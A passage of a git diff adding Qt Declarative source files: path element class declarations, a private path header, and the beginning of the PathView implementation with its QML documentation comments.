+class Q_AUTOTEST_EXPORT QDeclarativeCurve : public QDeclarativePathElement
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal x READ x WRITE setX NOTIFY xChanged)
+ Q_PROPERTY(qreal y READ y WRITE setY NOTIFY yChanged)
+public:
+ QDeclarativeCurve(QObject *parent=0) : QDeclarativePathElement(parent), _x(0), _y(0) {}
+
+ qreal x() const;
+ void setX(qreal x);
+
+ qreal y() const;
+ void setY(qreal y);
+
+ virtual void addToPath(QPainterPath &) {}
+
+Q_SIGNALS:
+ void xChanged();
+ void yChanged();
+
+private:
+ qreal _x;
+ qreal _y;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePathLine : public QDeclarativeCurve
+{
+ Q_OBJECT
+public:
+ QDeclarativePathLine(QObject *parent=0) : QDeclarativeCurve(parent) {}
+
+ void addToPath(QPainterPath &path);
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePathQuad : public QDeclarativeCurve
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal controlX READ controlX WRITE setControlX NOTIFY controlXChanged)
+ Q_PROPERTY(qreal controlY READ controlY WRITE setControlY NOTIFY controlYChanged)
+public:
+ QDeclarativePathQuad(QObject *parent=0) : QDeclarativeCurve(parent), _controlX(0), _controlY(0) {}
+
+ qreal controlX() const;
+ void setControlX(qreal x);
+
+ qreal controlY() const;
+ void setControlY(qreal y);
+
+ void addToPath(QPainterPath &path);
+
+Q_SIGNALS:
+ void controlXChanged();
+ void controlYChanged();
+
+private:
+ qreal _controlX;
+ qreal _controlY;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePathCubic : public QDeclarativeCurve
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal control1X READ control1X WRITE setControl1X NOTIFY control1XChanged)
+ Q_PROPERTY(qreal control1Y READ control1Y WRITE setControl1Y NOTIFY control1YChanged)
+ Q_PROPERTY(qreal control2X READ control2X WRITE setControl2X NOTIFY control2XChanged)
+ Q_PROPERTY(qreal control2Y READ control2Y WRITE setControl2Y NOTIFY control2YChanged)
+public:
+ QDeclarativePathCubic(QObject *parent=0) : QDeclarativeCurve(parent), _control1X(0), _control1Y(0), _control2X(0), _control2Y(0) {}
+
+ qreal control1X() const;
+ void setControl1X(qreal x);
+
+ qreal control1Y() const;
+ void setControl1Y(qreal y);
+
+ qreal control2X() const;
+ void setControl2X(qreal x);
+
+ qreal control2Y() const;
+ void setControl2Y(qreal y);
+
+ void addToPath(QPainterPath &path);
+
+Q_SIGNALS:
+ void control1XChanged();
+ void control1YChanged();
+ void control2XChanged();
+ void control2YChanged();
+
+private:
+ qreal _control1X;
+ qreal _control1Y;
+ qreal _control2X;
+ qreal _control2Y;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePathPercent : public QDeclarativePathElement
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal value READ value WRITE setValue NOTIFY valueChanged)
+public:
+ QDeclarativePathPercent(QObject *parent=0) : QDeclarativePathElement(parent) {}
+
+ qreal value() const;
+ void setValue(qreal value);
+
+signals:
+ void valueChanged();
+
+private:
+ qreal _value;
+};
+
+class QDeclarativePathPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePath : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativePathElement> pathElements READ pathElements)
+ Q_PROPERTY(qreal startX READ startX WRITE setStartX NOTIFY startXChanged)
+ Q_PROPERTY(qreal startY READ startY WRITE setStartY NOTIFY startYChanged)
+ Q_PROPERTY(bool closed READ isClosed NOTIFY changed)
+ Q_CLASSINFO("DefaultProperty", "pathElements")
+ Q_INTERFACES(QDeclarativeParserStatus)
+public:
+ QDeclarativePath(QObject *parent=0);
+ ~QDeclarativePath();
+
+ QDeclarativeListProperty<QDeclarativePathElement> pathElements();
+
+ qreal startX() const;
+ void setStartX(qreal x);
+
+ qreal startY() const;
+ void setStartY(qreal y);
+
+ bool isClosed() const;
+
+ QPainterPath path() const;
+ QStringList attributes() const;
+ qreal attributeAt(const QString &, qreal) const;
+ QPointF pointAt(qreal) const;
+
+Q_SIGNALS:
+ void changed();
+ void startXChanged();
+ void startYChanged();
+
+protected:
+ virtual void componentComplete();
+ virtual void classBegin();
+
+private Q_SLOTS:
+ void processPath();
+
+private:
+ struct AttributePoint {
+ AttributePoint() : percent(0), scale(1), origpercent(0) {}
+ AttributePoint(const AttributePoint &other)
+ : percent(other.percent), scale(other.scale), origpercent(other.origpercent), values(other.values) {}
+ AttributePoint &operator=(const AttributePoint &other) {
+ percent = other.percent; scale = other.scale; origpercent = other.origpercent; values = other.values; return *this;
+ }
+ qreal percent; //massaged percent along the painter path
+ qreal scale;
+ qreal origpercent; //'real' percent along the painter path
+ QHash<QString, qreal> values;
+ };
+
+ void interpolate(int idx, const QString &name, qreal value);
+ void endpoint(const QString &name);
+ void createPointCache() const;
+
+private:
+ Q_DISABLE_COPY(QDeclarativePath)
+ Q_DECLARE_PRIVATE(QDeclarativePath)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePathElement)
+QML_DECLARE_TYPE(QDeclarativePathAttribute)
+QML_DECLARE_TYPE(QDeclarativeCurve)
+QML_DECLARE_TYPE(QDeclarativePathLine)
+QML_DECLARE_TYPE(QDeclarativePathQuad)
+QML_DECLARE_TYPE(QDeclarativePathCubic)
+QML_DECLARE_TYPE(QDeclarativePathPercent)
+QML_DECLARE_TYPE(QDeclarativePath)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPATH_H
diff --git a/src/declarative/graphicsitems/qdeclarativepath_p_p.h b/src/declarative/graphicsitems/qdeclarativepath_p_p.h
new file mode 100644
index 00000000..83587516
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepath_p_p.h
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPATH_P_H
+#define QDECLARATIVEPATH_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativepath_p.h"
+
+#include <qdeclarative.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+class QDeclarativePathPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePath)
+
+public:
+ QDeclarativePathPrivate() : startX(0), startY(0), closed(false), componentComplete(true) { }
+
+ QPainterPath _path;
+ QList<QDeclarativePathElement*> _pathElements;
+ mutable QVector<QPointF> _pointCache;
+ QList<QDeclarativePath::AttributePoint> _attributePoints;
+ QStringList _attributes;
+ int startX;
+ int startY;
+ bool closed;
+ bool componentComplete;
+};
+
+QT_END_NAMESPACE
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
new file mode 100644
index 00000000..e0bc514b
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
@@ -0,0 +1,1729 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepathview_p.h"
+#include "private/qdeclarativepathview_p_p.h"
+
+#include <qdeclarativestate_p.h>
+#include <qdeclarativeopenmetaobject_p.h>
+#include <QDebug>
+#include <QEvent>
+#include <qlistmodelinterface_p.h>
+#include <QGraphicsSceneEvent>
+
+#include <qmath.h>
+#include <math.h>
+
+QT_BEGIN_NAMESPACE
+
+inline qreal qmlMod(qreal x, qreal y)
+{
+#ifdef QT_USE_MATH_H_FLOATS
+ if(sizeof(qreal) == sizeof(float))
+ return fmodf(float(x), float(y));
+ else
+#endif
+ return fmod(x, y);
+}
+
+static QDeclarativeOpenMetaObjectType *qPathViewAttachedType = 0;
+
+QDeclarativePathViewAttached::QDeclarativePathViewAttached(QObject *parent)
+: QObject(parent), m_percent(-1), m_view(0), m_onPath(false), m_isCurrent(false)
+{
+ if (qPathViewAttachedType) {
+ m_metaobject = new QDeclarativeOpenMetaObject(this, qPathViewAttachedType);
+ m_metaobject->setCached(true);
+ } else {
+ m_metaobject = new QDeclarativeOpenMetaObject(this);
+ }
+}
+
+QDeclarativePathViewAttached::~QDeclarativePathViewAttached()
+{
+}
+
+QVariant QDeclarativePathViewAttached::value(const QByteArray &name) const
+{
+ return m_metaobject->value(name);
+}
+void QDeclarativePathViewAttached::setValue(const QByteArray &name, const QVariant &val)
+{
+ m_metaobject->setValue(name, val);
+}
+
+
+void QDeclarativePathViewPrivate::init()
+{
+ Q_Q(QDeclarativePathView);
+ offset = 0;
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setFlag(QGraphicsItem::ItemIsFocusScope);
+ q->setFiltersChildEvents(true);
+ q->connect(&tl, SIGNAL(updated()), q, SLOT(ticked()));
+ lastPosTime.invalidate();
+ static int timelineCompletedIdx = -1;
+ static int movementEndingIdx = -1;
+ if (timelineCompletedIdx == -1) {
+ timelineCompletedIdx = QDeclarativeTimeLine::staticMetaObject.indexOfSignal("completed()");
+ movementEndingIdx = QDeclarativePathView::staticMetaObject.indexOfSlot("movementEnding()");
+ }
+ QMetaObject::connect(&tl, timelineCompletedIdx,
+ q, movementEndingIdx, Qt::DirectConnection);
+}
+
+QDeclarativeItem *QDeclarativePathViewPrivate::getItem(int modelIndex)
+{
+ Q_Q(QDeclarativePathView);
+ requestedIndex = modelIndex;
+ QDeclarativeItem *item = model->item(modelIndex, false);
+ if (item) {
+ if (!attType) {
+ // pre-create one metatype to share with all attached objects
+ attType = new QDeclarativeOpenMetaObjectType(&QDeclarativePathViewAttached::staticMetaObject, qmlEngine(q));
+ foreach(const QString &attr, path->attributes())
+ attType->createProperty(attr.toUtf8());
+ }
+ qPathViewAttachedType = attType;
+ QDeclarativePathViewAttached *att = static_cast<QDeclarativePathViewAttached *>(qmlAttachedPropertiesObject<QDeclarativePathView>(item));
+ qPathViewAttachedType = 0;
+ if (att) {
+ att->m_view = q;
+ att->setOnPath(true);
+ }
+ item->setParentItem(q);
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ }
+ requestedIndex = -1;
+ return item;
+}
+
+void QDeclarativePathViewPrivate::releaseItem(QDeclarativeItem *item)
+{
+ if (!item || !model)
+ return;
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ if (model->release(item) == 0) {
+ // item was not destroyed, and we no longer reference it.
+ if (QDeclarativePathViewAttached *att = attached(item))
+ att->setOnPath(false);
+ }
+}
+
+QDeclarativePathViewAttached *QDeclarativePathViewPrivate::attached(QDeclarativeItem *item)
+{
+ return static_cast<QDeclarativePathViewAttached *>(qmlAttachedPropertiesObject<QDeclarativePathView>(item, false));
+}
+
+void QDeclarativePathViewPrivate::clear()
+{
+ for (int i=0; i<items.count(); i++){
+ QDeclarativeItem *p = items[i];
+ releaseItem(p);
+ }
+ items.clear();
+}
+
+void QDeclarativePathViewPrivate::updateMappedRange()
+{
+ if (model && pathItems != -1 && pathItems < modelCount)
+ mappedRange = qreal(pathItems)/modelCount;
+ else
+ mappedRange = 1.0;
+}
+
+qreal QDeclarativePathViewPrivate::positionOfIndex(qreal index) const
+{
+ qreal pos = -1.0;
+
+ if (model && index >= 0 && index < modelCount) {
+ qreal start = 0.0;
+ if (haveHighlightRange && highlightRangeMode != QDeclarativePathView::NoHighlightRange)
+ start = highlightRangeStart;
+ qreal globalPos = index + offset;
+ globalPos = qmlMod(globalPos, qreal(modelCount)) / modelCount;
+ if (pathItems != -1 && pathItems < modelCount) {
+ globalPos += start * mappedRange;
+ globalPos = qmlMod(globalPos, 1.0);
+ if (globalPos < mappedRange)
+ pos = globalPos / mappedRange;
+ } else {
+ pos = qmlMod(globalPos + start, 1.0);
+ }
+ }
+
+ return pos;
+}
+
+void QDeclarativePathViewPrivate::createHighlight()
+{
+ Q_Q(QDeclarativePathView);
+ if (!q->isComponentComplete())
+ return;
+
+ bool changed = false;
+ if (highlightItem) {
+ if (highlightItem->scene())
+ highlightItem->scene()->removeItem(highlightItem);
+ highlightItem->deleteLater();
+ highlightItem = 0;
+ changed = true;
+ }
+
+ QDeclarativeItem *item = 0;
+ if (highlightComponent) {
+ QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = highlightComponent->create(highlightContext);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(highlightContext, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete highlightContext;
+ }
+ } else {
+ item = new QDeclarativeItem;
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q);
+ item->setParentItem(q);
+ highlightItem = item;
+ changed = true;
+ }
+ if (changed)
+ emit q->highlightItemChanged();
+}
+
+void QDeclarativePathViewPrivate::updateHighlight()
+{
+ Q_Q(QDeclarativePathView);
+ if (!q->isComponentComplete() || !isValid())
+ return;
+ if (highlightItem) {
+ if (haveHighlightRange && highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) {
+ updateItem(highlightItem, highlightRangeStart);
+ } else {
+ qreal target = currentIndex;
+
+ offsetAdj = qreal(0.0);
+ tl.reset(moveHighlight);
+ moveHighlight.setValue(highlightPosition);
+
+ const int duration = highlightMoveDuration;
+
+ if (target - highlightPosition > modelCount/2) {
+ highlightUp = false;
+ qreal distance = modelCount - target + highlightPosition;
+ tl.move(moveHighlight, qreal(0.0), QEasingCurve(QEasingCurve::InQuad), int(duration * highlightPosition / distance));
+ tl.set(moveHighlight, modelCount-qreal(0.01));
+ tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::OutQuad), int(duration * (modelCount-target) / distance));
+ } else if (target - highlightPosition <= -modelCount/2) {
+ highlightUp = true;
+ qreal distance = modelCount - highlightPosition + target;
+ tl.move(moveHighlight, modelCount-qreal(0.01), QEasingCurve(QEasingCurve::InQuad), int(duration * (modelCount-highlightPosition) / distance));
+ tl.set(moveHighlight, qreal(0.0));
+ tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::OutQuad), int(duration * target / distance));
+ } else {
+ highlightUp = highlightPosition - target < 0;
+ tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::InOutQuad), duration);
+ }
+ }
+ }
+}
+
+void QDeclarativePathViewPrivate::setHighlightPosition(qreal pos)
+{
+ if (pos != highlightPosition) {
+ qreal start = 0.0;
+ qreal end = 1.0;
+ if (haveHighlightRange && highlightRangeMode != QDeclarativePathView::NoHighlightRange) {
+ start = highlightRangeStart;
+ end = highlightRangeEnd;
+ }
+
+ qreal range = qreal(modelCount);
+ // calc normalized position of highlight relative to offset
+ qreal relativeHighlight = qmlMod(pos + offset, range) / range;
+
+ if (!highlightUp && relativeHighlight > end * mappedRange) {
+ qreal diff = qreal(1.0) - relativeHighlight;
+ setOffset(offset + diff * range);
+ } else if (highlightUp && relativeHighlight >= (end - start) * mappedRange) {
+ qreal diff = relativeHighlight - (end - start) * mappedRange;
+ setOffset(offset - diff * range - qreal(0.00001));
+ }
+
+ highlightPosition = pos;
+ qreal pathPos = positionOfIndex(pos);
+ updateItem(highlightItem, pathPos);
+ if (QDeclarativePathViewAttached *att = attached(highlightItem))
+ att->setOnPath(pathPos != qreal(-1.0));
+ }
+}
+
+void QDeclarativePathView::pathUpdated()
+{
+ Q_D(QDeclarativePathView);
+ QList<QDeclarativeItem*>::iterator it = d->items.begin();
+ while (it != d->items.end()) {
+ QDeclarativeItem *item = *it;
+ if (QDeclarativePathViewAttached *att = d->attached(item))
+ att->m_percent = -1;
+ ++it;
+ }
+ refill();
+}
+
+void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent)
+{
+ if (QDeclarativePathViewAttached *att = attached(item)) {
+ if (qFuzzyCompare(att->m_percent, percent))
+ return;
+ att->m_percent = percent;
+ foreach(const QString &attr, path->attributes())
+ att->setValue(attr.toUtf8(), path->attributeAt(attr, percent));
+ }
+ QPointF pf = path->pointAt(percent);
+ item->setX(qRound(pf.x() - item->width()/2));
+ item->setY(qRound(pf.y() - item->height()/2));
+}
+
+void QDeclarativePathViewPrivate::regenerate()
+{
+ Q_Q(QDeclarativePathView);
+ if (!q->isComponentComplete())
+ return;
+
+ clear();
+
+ if (!isValid())
+ return;
+
+ firstIndex = -1;
+ updateMappedRange();
+ q->refill();
+}
+
+/*!
+ \qmlclass PathView QDeclarativePathView
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief The PathView element lays out model-provided items on a path.
+ \inherits Item
+
+ A PathView displays data from models created from built-in QML elements like ListModel
+ and XmlListModel, or custom model classes defined in C++ that inherit from
+ QAbstractListModel.
+
+ The view has a \l model, which defines the data to be displayed, and
+ a \l delegate, which defines how the data should be displayed.
+ The \l delegate is instantiated for each item on the \l path.
+ The items may be flicked to move them along the path.
+
+ For example, if there is a simple list model defined in a file \c ContactModel.qml like this:
+
+ \snippet doc/src/snippets/declarative/pathview/ContactModel.qml 0
+
+ This data can be represented as a PathView, like this:
+
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 0
+
+ \image pathview.gif
+
+ (Note the above example uses PathAttribute to scale and modify the
+ opacity of the items as they rotate. This additional code can be seen in the
+ PathAttribute documentation.)
+
+ PathView does not automatically handle keyboard navigation. This is because
+ the keys to use for navigation will depend upon the shape of the path. Navigation
+ can be added quite simply by setting \c focus to \c true and calling
+ \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
+ using the left and right arrow keys:
+
+ \qml
+ PathView {
+ // ...
+ focus: true
+ Keys.onLeftPressed: decrementCurrentIndex()
+ Keys.onRightPressed: incrementCurrentIndex()
+ }
+ \endqml
+
+ The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
+
+ Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+
+ PathView attaches a number of properties to the root item of the delegate, for example
+ \c {PathView.isCurrentItem}. In the following example, the root delegate item can access
+ this attached property directly as \c PathView.isCurrentItem, while the child
+ \c nameText object must refer to this property as \c wrapper.PathView.isCurrentItem.
+
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+
+ \bold Note that views do not enable \e clip automatically. If the view
+ is not clipped by another item or the screen, it will be necessary
+ to set \e {clip: true} in order to have the out of view items clipped
+ nicely.
+
+ \sa Path, {declarative/modelviews/pathview}{PathView example}
+*/
+
+QDeclarativePathView::QDeclarativePathView(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativePathViewPrivate), parent)
+{
+ Q_D(QDeclarativePathView);
+ d->init();
+}
+
+QDeclarativePathView::~QDeclarativePathView()
+{
+ Q_D(QDeclarativePathView);
+ d->clear();
+ if (d->attType)
+ d->attType->release();
+ if (d->ownModel)
+ delete d->model;
+}
+
+/*!
+ \qmlattachedproperty PathView PathView::view
+ This attached property holds the view that manages this delegate instance.
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty bool PathView::onPath
+ This attached property holds whether the item is currently on the path.
+
+ If a pathItemCount has been set, it is possible that some items may
+ be instantiated, but not considered to be currently on the path.
+ Usually, these items would be set invisible, for example:
+
+ \qml
+ Component {
+ Rectangle {
+ visible: PathView.onPath
+ // ...
+ }
+ }
+ \endqml
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty bool PathView::isCurrentItem
+ This attached property is true if this delegate is the current item; otherwise false.
+
+ It is attached to each instance of the delegate.
+
+ This property may be used to adjust the appearance of the current item.
+
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+*/
+
+/*!
+ \qmlproperty model PathView::model
+ This property holds the model providing data for the view.
+
+ The model provides a set of data that is used to create the items for the view.
+ For large or dynamic datasets the model is usually provided by a C++ model object.
+ Models can also be created directly in QML, using the ListModel element.
+
+ \sa {qmlmodels}{Data Models}
+*/
+QVariant QDeclarativePathView::model() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->modelVariant;
+}
+
+void QDeclarativePathView::setModel(const QVariant &model)
+{
+ Q_D(QDeclarativePathView);
+ if (d->modelVariant == model)
+ return;
+
+ if (d->model) {
+ disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ for (int i=0; i<d->items.count(); i++){
+ QDeclarativeItem *p = d->items[i];
+ d->model->release(p);
+ }
+ d->items.clear();
+ }
+
+ d->modelVariant = model;
+ QObject *object = qvariant_cast<QObject*>(model);
+ QDeclarativeVisualModel *vim = 0;
+ if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {
+ if (d->ownModel) {
+ delete d->model;
+ d->ownModel = false;
+ }
+ d->model = vim;
+ } else {
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this), this);
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ dataModel->setModel(model);
+ }
+ d->modelCount = 0;
+ if (d->model) {
+ connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ d->modelCount = d->model->count();
+ if (d->model->count())
+ d->offset = qmlMod(d->offset, qreal(d->model->count()));
+ if (d->offset < 0)
+ d->offset = d->model->count() + d->offset;
+}
+ d->regenerate();
+ d->fixOffset();
+ emit countChanged();
+ emit modelChanged();
+}
+
+/*!
+ \qmlproperty int PathView::count
+ This property holds the number of items in the model.
+*/
+int QDeclarativePathView::count() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->model ? d->modelCount : 0;
+}
+
+/*!
+ \qmlproperty Path PathView::path
+ This property holds the path used to lay out the items.
+ For more information see the \l Path documentation.
+*/
+QDeclarativePath *QDeclarativePathView::path() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->path;
+}
+
+void QDeclarativePathView::setPath(QDeclarativePath *path)
+{
+ Q_D(QDeclarativePathView);
+ if (d->path == path)
+ return;
+ if (d->path)
+ disconnect(d->path, SIGNAL(changed()), this, SLOT(pathUpdated()));
+ d->path = path;
+ connect(d->path, SIGNAL(changed()), this, SLOT(pathUpdated()));
+ if (d->isValid() && isComponentComplete()) {
+ d->clear();
+ if (d->attType) {
+ d->attType->release();
+ d->attType = 0;
+ }
+ d->regenerate();
+ }
+ emit pathChanged();
+}
+
+/*!
+ \qmlproperty int PathView::currentIndex
+ This property holds the index of the current item.
+*/
+int QDeclarativePathView::currentIndex() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->currentIndex;
+}
+
+void QDeclarativePathView::setCurrentIndex(int idx)
+{
+ Q_D(QDeclarativePathView);
+ if (d->model && d->modelCount)
+ idx = qAbs(idx % d->modelCount);
+ if (d->model && idx != d->currentIndex) {
+ if (d->modelCount) {
+ int itemIndex = (d->currentIndex - d->firstIndex + d->modelCount) % d->modelCount;
+ if (itemIndex < d->items.count()) {
+ if (QDeclarativeItem *item = d->items.at(itemIndex)) {
+ if (QDeclarativePathViewAttached *att = d->attached(item))
+ att->setIsCurrentItem(false);
+ }
+ }
+ }
+ d->currentItem = 0;
+ d->moveReason = QDeclarativePathViewPrivate::SetIndex;
+ d->currentIndex = idx;
+ if (d->modelCount) {
+ if (d->haveHighlightRange && d->highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange)
+ d->snapToCurrent();
+ int itemIndex = (idx - d->firstIndex + d->modelCount) % d->modelCount;
+ if (itemIndex < d->items.count()) {
+ d->currentItem = d->items.at(itemIndex);
+ d->currentItem->setFocus(true);
+ if (QDeclarativePathViewAttached *att = d->attached(d->currentItem))
+ att->setIsCurrentItem(true);
+ }
+ d->currentItemOffset = d->positionOfIndex(d->currentIndex);
+ d->updateHighlight();
+ }
+ emit currentIndexChanged();
+ }
+}
+
+/*!
+ \qmlmethod PathView::incrementCurrentIndex()
+
+ Increments the current index.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativePathView::incrementCurrentIndex()
+{
+ Q_D(QDeclarativePathView);
+ d->moveDirection = QDeclarativePathViewPrivate::Positive;
+ setCurrentIndex(currentIndex()+1);
+}
+
+
+/*!
+ \qmlmethod PathView::decrementCurrentIndex()
+
+ Decrements the current index.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativePathView::decrementCurrentIndex()
+{
+ Q_D(QDeclarativePathView);
+ if (d->model && d->modelCount) {
+ int idx = currentIndex()-1;
+ if (idx < 0)
+ idx = d->modelCount - 1;
+ d->moveDirection = QDeclarativePathViewPrivate::Negative;
+ setCurrentIndex(idx);
+ }
+}
+
+/*!
+ \qmlproperty real PathView::offset
+
+ The offset specifies how far along the path the items are from their initial positions.
+ This is a real number that ranges from 0.0 to the count of items in the model.
+*/
+qreal QDeclarativePathView::offset() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->offset;
+}
+
+void QDeclarativePathView::setOffset(qreal offset)
+{
+ Q_D(QDeclarativePathView);
+ d->setOffset(offset);
+ d->updateCurrent();
+}
+
+void QDeclarativePathViewPrivate::setOffset(qreal o)
+{
+ Q_Q(QDeclarativePathView);
+ if (offset != o) {
+ if (isValid() && q->isComponentComplete()) {
+ offset = qmlMod(o, qreal(modelCount));
+ if (offset < 0)
+ offset += qreal(modelCount);
+ q->refill();
+ } else {
+ offset = o;
+ }
+ emit q->offsetChanged();
+ }
+}
+
+void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
+{
+ setOffset(o+offsetAdj);
+}
+
+/*!
+ \qmlproperty Component PathView::highlight
+ This property holds the component to use as the highlight.
+
+ An instance of the highlight component will be created for each view.
+ The geometry of the resultant component instance will be managed by the view
+ so as to stay with the current item.
+
+ The below example demonstrates how to make a simple highlight. Note the use
+ of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
+ the highlight is hidden when flicked away from the path.
+
+ \qml
+ Component {
+ Rectangle {
+ visible: PathView.onPath
+ // ...
+ }
+ }
+ \endqml
+
+ \sa highlightItem, highlightRangeMode
+*/
+
+QDeclarativeComponent *QDeclarativePathView::highlight() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->highlightComponent;
+}
+
